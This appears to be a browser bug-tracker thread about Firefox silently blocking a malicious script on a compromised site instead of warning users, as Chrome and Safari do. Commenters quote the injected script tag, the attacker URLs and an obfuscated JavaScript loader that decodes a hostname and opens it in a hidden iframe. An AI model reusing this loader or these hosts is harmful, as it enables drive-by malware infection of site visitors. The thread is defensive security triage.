The page in the url above has the following code that Google Chrome detects as a malware attack. <script id="N5aml8zrns7" type="text/javascript" src="http://ustream-tv.megaporn.com.rakuten-ne-jp.superore.ru:8080/shareasale.com/shareasale.com/google.com/telegraph.co.uk/icio.us/" defer="defer"></script> This is not detected in Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a1pre) Gecko/20100106 Minefield/3.7a1pre

Forgot to mention directly visiting http://ustream-tv.megaporn.com.rakuten-ne-jp.superore.ru:8080/shareasale.com/shareasale.com/google.com/telegraph.co.uk/icio.us/ in Firefox brings up the reported attack site page. Thus the page is in the malware db. I have the contents of the zip files at http://kbrosnan.mine.nu:8080/phishing/ - Original page source and script http://kbrosnan.mine.nu:8080/phishing3/ - simplified version of the page and the script

Spoke with juanb on irc Firefox does block the superore.ru site from loading the following script. Iyq7196 = 'u$^!s&@$t@&r@&))#e$^((a)&m$$#-()&&&t(^#v@.#&m@e)^!g$@(a(^$p^!!^o()@^^r$^^n(^(^.))c)^^$o^##(m^.@r!^^a#k(u$t)(e((^n!^-)n(e#!^-$!j#p!@^.^#)s^^!u)($$p$$$e(&r&$#o!@^(r$e($#.!#&r$u!)$'.replace(/&|\^|\$|\(|@|\)|\!|#/ig, ''); f = document.createElement('iframe'); f.style.visibility = 'hidden'; f.src = 'http://'+Iyq7196+':8080/index.php?js'; document.body.appendChild(f); The difference being that Chrome and Safari treat the parent site as an attack site, in this case electronics-diy.com. The test case from bug 441359, http://www.ianfette.com/jstest.html also shows this behavior and is likely more future-proof.

So the iframe does not load the attack src url, and does not load this silently? Just want to clarify the actual problem here.

Correct on Firefox I never was hit by the iframe attack that loads at least a Java based attack. The issue is that the parent site (electronics-diy.com) is not in the database of known malware sites. Chrome and Safari treat the parent site as an attack site. An advantage to showing the malware attack page is that it makes it more likely that the site owner is alerted and the site is fixed. Having consistent behavior between Firefox, Chrome and Safari might be good. Note: a new url is in use at electronics-diy.com which is http://ibm-com.gamespot.com.liba-com.xboxliveweb.ru:8080/vkontakte.ru/vkontakte.ru/en.wordpress.com/google.com/mixi.jp/ and is not in the malware db.

Mozilla has no control what urls are considered attack/malware/phishing sites, as we use Google's safebrowsing service. I understand that the firefox url-classifier does not have any logic of its own to determine that a url is a "bad" url.

Ignoring the new URL in comment 5, the bug isn't claiming we don't recognize the malware script. The claim is that we're blocking it (good, user is safe) silently and not warning the user that the site got hacked, whereas it's claimed that Chrome and Safari do warn about the parent site in this case. If we detect one hack there may be others on the same page that are not yet in the list and therefore not blocked, so blocking on the hacked page would be a good thing.

At least that's what I think. Since it's user-visible security behavior throwing over to Johnathan for an official call. Please reassign as appropriate or WONTFIX

Working test page: https://people.mozilla.org/~fmarier/safebrowsing_malware_script.html We're going to treat bad iframes the same way as Chrome (bug 1207775), but in this specific case (scripts), it would be nice to at least have a message in the devtool console.

Test page moved to https://mozilla.github.io/safebrowsing-test/bug538204.html